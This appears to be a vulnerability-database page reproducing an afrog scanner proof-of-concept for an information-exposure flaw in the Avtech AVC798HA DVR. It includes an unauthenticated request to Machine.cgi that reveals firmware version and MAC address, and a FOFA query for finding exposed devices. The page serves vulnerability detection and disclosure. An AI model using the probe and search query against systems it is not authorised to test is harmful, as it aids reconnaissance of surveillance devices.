avtech-dvr-exposure: Avtech AVC798HA DVR Information Exposure

2025-08-01 Avtech AVC798HA DVR PoC Public

Description

Under the /cgi-bin/nobody folder every CGI script can be accessed without authentication.

fofa: app="AVTECH-视频监控"

PoC

id: avtech-dvr-exposure

info:
  name: Avtech AVC798HA DVR Information Exposure
  author: geeknik
  severity: low
  verified: true
  description: |-
    Under the /cgi-bin/nobody folder every CGI script can be accessed without authentication.
    fofa: app="AVTECH-视频监控"
  reference:
    - http://www.avtech.com.tw/
  tags: avtech,dvr,exposure
  created: 2023/06/24

rules:
  r0:
    request:
      method: GET
      path: /cgi-bin/nobody/Machine.cgi?action=get_capability
    expression: response.status == 200 && response.body.bcontains(b"Firmware.Version=") && response.body.bcontains(b"MACAddress=") && response.body.bcontains(b"Product.Type=")
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/disclosure/avtech-dvr-exposure.yaml

References

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